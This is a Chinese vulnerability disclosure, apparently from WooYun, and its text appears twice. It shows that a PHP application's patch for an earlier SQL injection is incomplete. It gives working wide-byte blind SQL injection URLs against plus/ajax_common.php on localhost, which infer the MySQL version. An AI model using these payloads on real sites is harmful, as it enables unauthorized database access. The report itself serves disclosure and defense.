该漏洞是由于官方对上一版本的SQL注入错误(详见http://www.wooyun.org/bugs/wooyun-2014-080490)进行修改未彻底产生的。 首先试试带入单引号,用宽字节试试,可以看到显示数据库出错  看看数据库怎么带入可以看到出错了,单引号被带入sql语句了  找到/include/mysql.class.php中最下面代码: ``` function dbshow($err) { if($err){ $info = "Error:".$err; }else{ $info = "Errno:".$this->errno()." Error:".$this->error(); } //exit($info); exit("数据库错误,请联系网站管理员!"); } ``` 发现只是把显错exit($info)换成了数据库错误,请联系网站管理员!虽然是改了显错,但sql语句还是可以执行的,可以用盲注 http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2050--%20a 这样猜解数据库版本第一位是0到5之间,返回内容 http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2040--%20a 这样猜解数据库版本第一位是0到4之间,返回空白。猜测mysql是5.0以上的版本。 漏洞由此产生。
该漏洞是由于官方对上一版本的SQL注入错误(详见http://www.wooyun.org/bugs/wooyun-2014-080490)进行修改未彻底产生的。 首先试试带入单引号,用宽字节试试,可以看到显示数据库出错  看看数据库怎么带入可以看到出错了,单引号被带入sql语句了  找到/include/mysql.class.php中最下面代码: ``` function dbshow($err) { if($err){ $info = "Error:".$err; }else{ $info = "Errno:".$this->errno()." Error:".$this->error(); } //exit($info); exit("数据库错误,请联系网站管理员!"); } ``` 发现只是把显错exit($info)换成了数据库错误,请联系网站管理员!虽然是改了显错,但sql语句还是可以执行的,可以用盲注 http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2050--%20a 这样猜解数据库版本第一位是0到5之间,返回内容 http://127.0.0.1/upload1/plus/ajax_common.php?act=hotword&query=%88%ec%27%20||%20left(version(),1)%20between%200%20and%2040--%20a 这样猜解数据库版本第一位是0到4之间,返回空白。猜测mysql是5.0以上的版本。 漏洞由此产生。